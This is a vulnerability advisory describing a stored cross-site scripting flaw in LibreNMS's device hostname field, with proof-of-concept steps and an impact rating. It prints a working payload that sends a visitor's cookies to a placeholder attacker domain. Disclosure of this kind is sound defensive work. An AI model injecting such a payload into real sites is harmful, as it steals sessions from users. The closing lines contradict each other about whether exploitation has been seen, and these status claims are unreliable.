Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.
Details
When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"
(Note: You may need to URL-encode the '+' sign in the payload.)
The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.
The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/capture.inc.php#L55
PoC
- Create a new device with the following payload in the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"
- Save the device.
- Navigate to the "Capture Debug Information" page for the device.
- Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.
Example Request:
POST /addhost HTTP/1.1
Host: <your_host>

Cookie: <your_cookie>

Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
